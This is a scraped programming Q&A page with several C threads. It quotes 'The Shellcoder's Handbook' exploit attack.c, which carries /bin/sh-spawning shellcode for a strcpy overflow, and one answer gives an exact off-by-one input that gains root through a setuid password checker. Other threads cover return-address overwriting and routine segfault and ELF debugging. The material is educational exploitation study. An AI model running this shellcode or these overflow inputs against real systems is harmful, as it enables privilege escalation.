"The Shellcoder's Handbook" attack.c does not make sense - c

From "The Shellcoder's Handbook", victim.c is as follows
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
Its exploit, attack.c is as follows
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
ptr = buff; assigns buff's garbage value to ptr(buff is not initialized). The subsequent line, addr_ptr = (long *) ptr;, assigns ptr's value (buff's garbage value) to addr_ptr. The author's intent on these lines are not clear to me. addr_ptr is supposed to contain the address to which the program jump, preferrably the NOP sled, when it retrieves the saved EIP. However, addr_ptr contains garbage value instead.
I believe buff should be dynamically allocated, using malloc first.
I know "The Shellcoder's Handbook" has many errors, but it is one of the few books that talks about Software exploitation.

On line 26
addr = find_start() - offset;
addr is set to the target return address, so it's not really garbage.
From my understanding what the authors do is to first fill the whole buffer with addr repeatedly, so that this serves both as garbage data and as return address to overwrite the stored EIP. Additionally, doing this allows them to not care about the right offset to place the return address, provided the buffer is well DWORD aligned on the stack.
Then they overwrite the beginning of the "garbage data part" of this buffer with BUF= followed by the shellcode. This works because BUF= is of length 4, so it does not break the DWORD alignment.
Yes buff should be allocated. Note that if you check the nopattack.c in the following pages where they add the NOP sled to the exploit, then you see that it is indeed allocated on line 28:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
Also, if you compare attack.c and nopattack.c, the codes have quite some differences (allocation, variable and function names, #define constants capitalized...) which is surprising when the latter code is supposed to be just one iteration after the former. This suggests a refactoring may have been made at some point when they wrote the book (or the second edition), and the error could come from this.

Related

Elf Symtab Parsing Null Pointer

Hate to ask people to help me debug my code but really stuck on this. I have a simple code snippet for going through the symbols in symtab and then printing them to the console. Apparently, I have an null pointer in the calls to printf and strcmp (resulting in segfault), but I can't seem to figure out why.
Here is the code snippet:
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <elf.h>
#include <fcntl.h>
#ifdef DEBUG
#define PRINTDEBUG(x) printf x //variable number of arguments
#else
#define PRINTDEBUG(x) do{} while(0)
#endif
uint32_t main(int argc, char** argv){
char* filename = argv[1];
char* sym_name = argv[2];
int fd = open(filename, O_RDONLY);
struct stat st;
stat(fd, &st);
char mem[st.st_size];
read(fd, mem, st.st_size);
Elf32_Ehdr* ehdr;
Elf32_Shdr* shdr; //generic entry for enumerating sections
Elf32_Shdr strtab; //holds string in symtab
Elf32_Shdr symtab;
char* sh_strtab; //hold sections names
Elf32_Sym* sym;
ehdr = (Elf32_Ehdr *)mem;
shdr = (Elf32_Shdr* )(mem + ehdr->e_shoff);
PRINTDEBUG(("number of section headers: %d\n", ehdr->e_shnum)); //need double brackets for variable #of arguments
sh_strtab = (char *)(mem + (shdr[ehdr->e_shstrndx].sh_offset));
//find address of symtab and strtab
for(int i = 0; i < ehdr->e_shnum; i++){
if(shdr[i].sh_size){
printf("%s\n", &sh_strtab[shdr[i].sh_name]);
if(strcmp(&sh_strtab[shdr[i].sh_name], ".strtab") == 0)
strtab = shdr[i];
if(strcmp(&sh_strtab[shdr[i].sh_name], ".symtab") == 0)
symtab = shdr[i];
}
}
PRINTDEBUG(("symtab offset %x\n", symtab.sh_offset));
PRINTDEBUG(("strtab offset %x\n", strtab.sh_offset));
char* symtab_str = (char *)(mem + strtab.sh_offset);
sym = (Elf32_Sym* )(mem + symtab.sh_offset);
printf("Symbol names: \n");
for(int i = 0; i < (symtab.sh_size / symtab.sh_entsize); i++, sym++){
printf("%x\n",&symtab_str[sym->st_name]);
if(strcmp(&symtab_str[sym->st_name], sym_name) ==0)
printf("not crahsed\n");
//TODO: resolve reloc'd syms
}
}
The null pointer occurs at &symtab_str[sym->st_name]. Weird thing is, I've looked at the assembly with the debugger and it shows &symtab_str[sym->st_name] pointing to the correct value, i.e. the first string in .strtab.
EDIT: Posted the code snippet that should trigger the segfault. Compile with "-m32" flag for gcc. Provide the pathname for a 32bit Elf file as the first run parameter. i.e.
./symtab_parse test_file
I already got this working as I originally intended. However, I am not sure about the cause of the segfault, and as pointed out by EmployedRussian, my original answer was not the root cause of the problem. Would like to really get to the bottom of this mystery, and hopefully learn something from it.
As you can see, the address stored in eax points to the first string in .strtab, so why am I getting a null pointer when passing this to strcmp?
The code snippet you showed appears to be correct, and if eax is 0xffd6a030 at the call to strcmp, then by definition it is not NULL.
Your (unsupported by evidence) assertion that it is NULL is what appears to be wrong (in other words, you are probably mis-interpreting something, and you didn't show that something).
According to this section from the ELF specs:
String table sections hold null-terminated character sequences,
commonly called strings. The object uses these strings to represent
symbol and section names. One references a string as an index into
the string table section. The first byte, which is index zero, is
defined to hold a null character.
This means that symtab_str[0] points to a null character, which when dereferenced in strcmp, resulted in a Segfault. Modifying the code to check for the null string before performing the strcmp fixed the problem.

How to create a process that runs a routine with variable number of parameters?

I know there are lots of questions here about functions that take a variable number of arguments. I also know there's lots of docs about stdarg.h and its macros. And I also know how printf-like functions take a variable number of arguments. I already tried each of those alternatives and they didn't help me. So, please, keep that in mind before marking this question as duplicate.
I'm working on the process management features of a little embedded operating system and I'm stuck on the design of a function that can create processes that run a function with a variable number of parameters. Here's a simplified version of how I want my API to looks like:
// create a new process
// * function is a pointer to the routine the process will run
// * nargs is the number of arguments the routine takes
void create(void* function, uint8_t nargs, ...);
void f1();
void f2(int i);
void f3(float f, int i, const char* str);
int main()
{
create(f1, 0);
create(f2, 1, 9);
create(f3, 3, 3.14f, 9, "string");
return 0;
}
And here is a pseudocode for the relevant part of the implementation of system call create:
void create(void* function, uint8_t nargs, ...)
{
process_stack = create_stack();
first_arg = &nargs + 1;
copy_args_list_to_process_stack(process_stack, first_arg);
}
Of course I'll need to know the calling convention in order to be able to copy from create's activation record to the new process stack, but that's not the problem. The problem is how many bytes do I need to copy. Even though I know how many arguments I need to copy, I don't know how much space each of those arguments occupy. So I don't know when to stop copying.
The Xinu Operating System does something very similar to what I want to do, but I tried hard to understand the code and didn't succeed. I'll transcript a very simplified version of the Xinu's create function here. Maybe someone understand and help me.
pid32 create(void* procaddr, uint32 ssize, pri16 priority, char *name, int32 nargs, ...)
{
int32 i;
uint32 *a; /* points to list of args */
uint32 *saddr; /* stack address */
saddr = (uint32 *)getstk(ssize); // return a pointer to the new process's stack
*saddr = STACKMAGIC; // STACKMAGIC is just a marker to detect stack overflow
// this is the cryptic part
/* push arguments */
a = (uint32 *)(&nargs + 1); /* start of args */
a += nargs -1; /* last argument */
for ( ; nargs > 4 ; nargs--) /* machine dependent; copy args */
*--saddr = *a--; /* onto created process's stack */
*--saddr = (long)procaddr;
for(i = 11; i >= 4; i--)
*--saddr = 0;
for(i = 4; i > 0; i--) {
if(i <= nargs)
*--saddr = *a--;
else
*--saddr = 0;
}
}
I got stuck on this line: a += nargs -1;. This should move the pointer a 4*(nargs - 1) ahead in memory, right? What if an argument's size is not 4 bytes? But that is just the first question. I also didn't understand the next lines of the code.
If you are writing an operating system, you also define the calling convention(s) right? Settle for argument sizes of sizeof(void*) and pad as necessary.

what is causing SIGSEV?

/*
learning from all the post - please correct me if i am wrong..
now it makes sense- if i remember it right, the stack is a fixed memory segment- allocated on program start up... while the virtual memory can be sized/resized programmatically using malloc, realloc, free...
the struct pointer array -
long size = 10000000;
struct foo *bar[size];
should have been allocated from heap - using malloc()... instead of just a fixed size stack (program text)
*/
This one SIGSEV's:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
struct foo *bar[size];
long i = 0;
while (i < size) {
printf("%ld \n", i);
i++;
}
}
This one works - commenting out the struct foo pointer array:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
//struct foo *bar[size];
long i = 0;
while (i < size) {
printf("%ld \n", i);
i++;
}
}
This one works - commenting our the while loop:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
struct foo *bar[size];
long i = 0;
while (i < size) {
//printf("%ld \n", i);
i++;
}
}
/* what i really am trying to achieve is this... which SIGSEVS -
ok thanks for all your replies i really appreciate it...
will look int stack overflow and use explore using heap memory-- thanks guys
*/
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
struct foo *bar[size];
long i = 0;
while (i < size) {
bar[i] = (struct foo *) malloc(sizeof(struct foo));
free(bar[i]);
i++;
}
return EXIT_SUCCESS;
}
long size = 10000000;
struct foo *bar[size];
will create a very big array, which may cause stack overflow, and therefore your program receive the SIGSEV.
You should create this array dynamically:
struct foo *bar = malloc(size * sizeof(struct foo *));
Why does the program work normally if these is not any function call in main()?
The definition of foo will cause main() to have a large stack frame at runtime. If you does not call any function in main(), this large stack frame will not be actually allocated or accessed (the entrance code of main() only make sure that amounts of memory be reserved by manipulating some registers and memory cells); but if you call a function in main(), the calling itself will try to access some addresses in that main() stack frame, because of stack overflow, those addresses may not be valid, this will cause SIGSEV be sent.
If you disassemble and compare the working and not-working versions of this program, this would be obvious. You could also find it out by stepping through the instructions of not-working main() one by one.
Without function call in main():
0x00001ff0 <main+0>: push %ebp
0x00001ff1 <main+1>: mov %esp,%eax
0x00001ff3 <main+3>: mov %esp,%ebp
0x00001ff5 <main+5>: sub $0x2625a10,%esp
0x00001ffb <main+11>: mov %eax,%esp
0x00001ffd <main+13>: leave
0x00001ffe <main+14>: ret
Call exit() in main():
0x00001fe0 <main+0>: push %ebp
0x00001fe1 <main+1>: mov %esp,%ebp
0x00001fe3 <main+3>: sub $0x2625a28,%esp
0x00001fe9 <main+9>: movl $0x0,(%esp) <==== This causes segfault.
0x00001ff0 <main+16>: call 0x3000 <dyld_stub_exit>
Stack overflow is causing sigsegv. There's no need of a while loop. A single printf will cause stack overflow.
Local variables are created on the stack. The variable foo is using huge space on the stack. Stack is also used to store return addresses in function calls. So both of them together will cause a stack overflow. foo uses up almost all the space in the stack. Calling printf overflows the stack
You should allocate on the heap using malloc.
Stack size is the problem here, as others have pointed out. Check out C/C++ maximum stack size of program for more details.

Creating a basic stack overflow using IDA

This program is running with root privileges on my machine and I need to perform a Stack overflow attack on the following code and get root privileges:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>
void sha256(char *string, char outputBuffer[65])
{
unsigned char hash[SHA256_DIGEST_LENGTH];
int i = 0;
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, string, strlen(string));
SHA256_Final(hash, &sha256);
for(i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
sprintf(outputBuffer + (i * 2), "%02x", hash[i]);
}
outputBuffer[64] = 0;
}
int password_check(char *userpass)
{
char text[20] = "thisisasalt";
unsigned int password_match = 0;
char output[65] = { 0, };
// >>> hashlib.sha256("Hello, world!").hexdigest()
char pass[] = "315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3";
text[0] = 'a';
text[1] = 't';
text[2] = 'j';
text[3] = '5';
text[4] = '3';
text[5] = 'k';
text[6] = '$';
text[7] = 'g';
text[8] = 'f';
text[9] = '[';
text[10] = ']';
text[11] = '\0';
strcat(text, userpass);
sha256(text, output);
if (strcmp(output, pass) == 0)
{
password_match = 1;
}
return (password_match == 1);
}
int main(int argc, char **argv)
{
if (argc < 3)
{
printf("Usage: %s <pass> <command>\n", argv[0]);
exit(1);
}
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
if (password_check(argv[1]))
{
printf("Running command as root: %s\n", argv[2]);
setuid(0);
setgid(0);
system(argv[2]);
}
else
{
printf("Authentication failed! This activity will be logged!\n");
}
return 0;
}
So I try to analyse the program with IDA and I see the text segment going from the lower addresses to the higher addresses, higher than that I see the data and then the bss and finally external commands.
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
Can I somehow give the string to the program by reference? If so how do I do it? (Again, hoping I'm not completely clueless)
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
The stack location varies all the time - you need to look at the value of the ESP/RSP register, its value is the current address of the top of the stack. Typically, variable addressing will be based on EBP rather then ESP, but they both will point to the same general area of memory.
During analysis, IDA sets up a stack frame for each function, which acts much like a struct - you can define variables with types and names in it. This frame is summarized at the top of the function:
Double-clicking it or any local variable in the function body will open a more detailed window. That's as good as you can get without actually running your program in a debugger.
You can see that text is right next to password_match, and judging from the addresses, there are 0x14 bytes allocated for text, as one would expect. However, this is not guaranteed and the compiler can freely shuffle the variables around, pad them or optimize them into registers.
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
You don't need to get around this check, it's already broken enough. There's an off-by-one error.
Stop reading here if you want to figure out the overflow yourself.
The valid range of indices for text spans from text[0] through text[19]. In the code, user input is written to the memory area starting at text[11]. The maximum input length allowed by the strlen check is 10 symbols + the NULL terminator. Unfortunately, that means text[19] contains the 9th user-entered symbol, and the 10th symbol + the terminator overflow into adjacent memory space. Under certain circumstances, that allows you to overwrite the least significant byte of password_match with an arbitrary value, and the second least significant byte with a 0. Your function accepts the password if password_match equals 1, which means the 10th character in your password needs to be '\x01' (note that this is not the same character as '1').
Here are two screenshots from IDA running as a debugger. text is highlighted in yellow, password_match is in green.
The password I entered was 123456789\x01.
Stack before user entered password is strcat'd into text.
Stack after strcat. Notice that password_match changed.

How to skip a line doing a buffer overflow in C

I want to skip a line in C, the line x=1; in the main section using bufferoverflow; however, I don't know why I can not skip the address from 4002f4 to the next address 4002fb in spite of the fact that I am counting 7 bytes form <main+35> to <main+42>.
I also have configured the options the randomniZation and execstack environment in a Debian and AMD environment, but I am still getting x=1;. What it's wrong with this procedure?
I have used dba to debug the stack and the memory addresses:
0x00000000004002ef <main+30>: callq 0x4002a4 **<function>**
**0x00000000004002f4** <main+35>: movl $0x1,-0x4(%rbp)
**0x00000000004002fb** <main+42>: mov -0x4(%rbp),%esi
0x00000000004002fe <main+45>: mov $0x4629c4,%edi
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = buffer + 12;
(*ret) += 8;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
You must be reading Smashing the Stack for Fun and Profit article. I was reading the same article and have found the same problem it wasnt skipping that instruction. After a few hours debug session in IDA I have changed the code like below and it is printing x=0 and b=5.
#include <stdio.h>
void function(int a, int b) {
int c=0;
int* pointer;
pointer =&c+2;
(*pointer)+=8;
}
void main() {
int x =0;
function(1,2);
x = 3;
int b =5;
printf("x=%d\n, b=%d\n",x,b);
getch();
}
In order to alter the return address within function() to skip over the x = 1 in main(), you need two pieces of information.
1. The location of the return address in the stack frame.
I used gdb to determine this value. I set a breakpoint at function() (break function), execute the code up to the breakpoint (run), retrieve the location in memory of the current stack frame (p $rbp or info reg), and then retrieve the location in memory of buffer (p &buffer). Using the retrieved values, the location of the return address can be determined.
(compiled w/ GCC -g flag to include debug symbols and executed in a 64-bit environment)
(gdb) break function
...
(gdb) run
...
(gdb) p $rbp
$1 = (void *) 0x7fffffffe270
(gdb) p &buffer
$2 = (char (*)[5]) 0x7fffffffe260
(gdb) quit
(frame pointer address + size of word) - buffer address = number of bytes from local buffer variable to return address
(0x7fffffffe270 + 8) - 0x7fffffffe260 = 24
If you are having difficulties understanding how the call stack works, reading the call stack and function prologue Wikipedia articles may help. This shows the difficulty in making "buffer overflow" examples in C. The offset of 24 from buffer assumes a certain padding style and compile options. GCC will happily insert stack canaries nowadays unless you tell it not to.
2. The number of bytes to add to the return address to skip over x = 1.
In your case the saved instruction pointer will point to 0x00000000004002f4 (<main+35>), the first instruction after function returns. To skip the assignment you need to make the saved instruction pointer point to 0x00000000004002fb (<main+42>).
Your calculation that this is 7 bytes is correct (0x4002fb - 0x4002fb = 7).
I used gdb to disassemble the application (disas main) and verified the calculation for my case as well. This value is best resolved manually by inspecting the disassembly.
Note that I used a Ubuntu 10.10 64-bit environment to test the following code.
#include <stdio.h>
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = (int *)(buffer + 24);
(*ret) += 7;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
output
x = 0
This is really just altering the return address of function() rather than an actual buffer overflow. In an actual buffer overflow, you would be overflowing buffer[5] to overwrite the return address. However, most modern implementations use techniques such as stack canaries to protect against this.
What you're doing here doesn't seem to have much todo with a classic bufferoverflow attack. The whole idea of a bufferoverflow attack is to modify the return adress of 'function'. Disassembling your program will show you where the ret instruction (assuming x86) takes its adress from. This is what you need to modify to point at main+42.
I assume you want to explicitly provoke the bufferoverflow here, normally you'd need to provoke it by manipulating the inputs of 'function'.
By just declaring a buffer[5] you're moving the stackpointer in the wrong direction (verify this by looking at the generated assembly), the return adress is somewhere deeper inside in the stack (it was put there by the call instruction). In x86 stacks grow downwards, that is towards lower adresses.
I'd approach this by declaring an int* and moving it upward until I'm at the specified adress where the return adress has been pushed, then modify that value to point at main+42 and let function ret.
You can't do that this way.
Here's a classic bufferoverflow code sample. See what happens once you feed it with 5 and then 6 characters from your keyboard. If you go for more (16 chars should do) you'll overwrite base pointer, then function return address and you'll get segmentation fault. What you want to do is to figure out which 4 chars overwrite the return addr. and make the program execute your code. Google around linux stack, memory structure.
void ff(){
int a=0; char b[5];
scanf("%s",b);
printf("b:%x a:%x\n" ,b ,&a);
printf("b:'%s' a:%d\n" ,b ,a);
}
int main() {
ff();
return 0;
}

Resources